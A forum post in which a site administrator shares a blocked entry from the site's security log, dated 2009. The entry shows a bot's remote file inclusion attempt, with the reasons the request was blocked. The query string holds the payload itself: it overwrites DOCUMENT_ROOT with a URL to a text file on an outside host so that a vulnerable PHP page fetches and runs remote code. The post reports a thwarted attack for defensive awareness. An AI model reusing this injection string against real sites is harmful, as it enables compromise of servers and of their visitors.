Ickie
SOH Administrator
This is from my logs this morning, this is a bot trying to infect our root to attack you with a popup
#: 162 @: Sat, 05 Dec 2009 09:31:08 -0500
Host: ip-174-142-120-148.static.privatedns.com
IP: 174.142.120.148
Score: 7
Why blocked: Question mark at end of query. Badly formed query, must not have 2 question marks in a row. RFI (http). Root hack. Nesting attack. No www site, and several attacks. Bothost and/or Server Farm. .
Query: _SERVER[DOCUMENT_ROOT]=http://www. beijingteacher. net/test/fid1.txt??
Referer:
User Agent: Mozilla/5.0
Reconstructed URL: http:// www.our site /our forums///?_SERVER[DOCUMENT_ROOT]=http://www. beijingteacher. net/test/fid1.txt??